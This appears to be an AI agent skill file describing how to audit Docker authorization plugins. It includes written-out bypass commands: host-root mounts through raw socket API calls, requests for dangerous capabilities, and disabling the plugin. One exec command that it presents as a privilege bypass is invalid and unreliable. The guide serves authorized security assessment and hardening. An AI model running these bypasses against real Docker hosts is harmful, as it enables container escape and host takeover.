| name | docker-authz-audit |
| description | Audit Docker authorization plugins and identify security misconfigurations. Use this skill whenever the user mentions Docker security, authorization plugins, container access control, Docker daemon security, authz bypass, or needs to assess Docker plugin configurations. This skill helps security professionals enumerate auth plugin policies, test for common bypass techniques, and identify privilege escalation vectors in Docker environments. |
Docker Authorization Plugin Audit
This skill helps you audit Docker authorization plugins and identify security misconfigurations that could lead to privilege escalation. Use this for authorized security assessments only.
Quick Start
docker version
docker plugin list
cat /etc/docker/daemon.json | grep -i authz
Audit Workflow
1. Enumerate Auth Plugin Configuration
First, determine what authorization plugins are installed and how they're configured:
cat /etc/docker/daemon.json
ls -la /var/lib/docker/plugins/
docker plugin ls
find /etc/docker -name "*.json" -exec grep -l authz {} \;
2. Test Plugin Enforcement
Run test commands to see what the plugin allows or denies:
docker run --rm ubuntu echo "test"
docker run --rm --privileged ubuntu id
docker run --rm -v /:/host ubuntu ls /host
docker run --rm --cap-add=SYS_ADMIN ubuntu id
3. Identify Bypass Opportunities
A. Check for Privileged Flag Bypass
If --privileged is blocked but docker exec is allowed:
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu sleep 3600
CONTAINER_ID=$(docker ps -q)
docker exec -it $CONTAINER_ID --cap-add=SYS_ADMIN bash
B. Test Writable Mount Points
Check if writable directories can be mounted:
find / -writable -type d 2>/dev/null
mount | grep -v "nosuid"
docker run -it -v /tmp:/host ubuntu bash
C. Test API Endpoint Bypass
Some plugins only check certain API endpoints. Test direct API calls:
API_VERSION=$(docker version --format '{{.Server.APIVersion}}')
curl --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image": "ubuntu", "Binds":["/:/host"]}' \
http://localhost/v${API_VERSION}/containers/create
curl --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' \
http://localhost/v${API_VERSION}/containers/create
D. Test Capability Bypass
Check if specific capabilities are allowed:
curl --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' \
http://localhost/v${API_VERSION}/containers/create
E. Test Plugin Disable
Check if the plugin can be disabled:
docker plugin ls
docker plugin disable <plugin-name>
docker run --rm --privileged ubuntu id
docker plugin enable <plugin-name>
Common Misconfigurations
| Misconfiguration | Risk | Detection |
|---|
--privileged blocked but docker exec allowed | High | Container escape via exec |
| Writable mounts allowed | High | SUID binary placement |
| API endpoints not fully checked | High | Direct API bypass |
| JSON structure validation incomplete | Medium | Binds/Mounts in wrong location |
| Capabilities not restricted | Medium | SYS_MODULE, SYS_ADMIN abuse |
| Plugin disable not blocked | Critical | Complete bypass |
Security Recommendations
- Use allowlist approach - Only explicitly allow required actions
- Validate JSON structure - Check both root and HostConfig levels
- Restrict docker exec - Limit exec to specific containers
- Block plugin disable - Ensure plugin cannot be disabled by users
- Monitor plugin logs - Watch for repeated denial attempts
- Use seccomp/apparmor - Defense in depth beyond authz plugins
Reference Tools
Important Notes
- Authorization plugins only check initial HTTP requests - Streaming data (exec, logs) is not passed to plugins
- No credentials are passed - Only username and auth method, never passwords or tokens
- Multiple plugins chain together - All must grant access for the request to succeed
- Plugin disable requires re-enable - If you disable a plugin for testing, re-enable it or Docker won't start properly
When to Use This Skill
Use this skill when:
- You need to audit Docker authorization plugin configurations
- You're performing a security assessment of a Docker environment
- You want to understand how Docker authz plugins work
- You need to identify privilege escalation vectors in Docker
- You're hardening Docker daemon security
- You're investigating Docker container escape scenarios
Disclaimer
This skill is for authorized security testing only. Always have proper authorization before testing Docker security configurations. Unauthorized access to Docker daemons may violate laws and policies.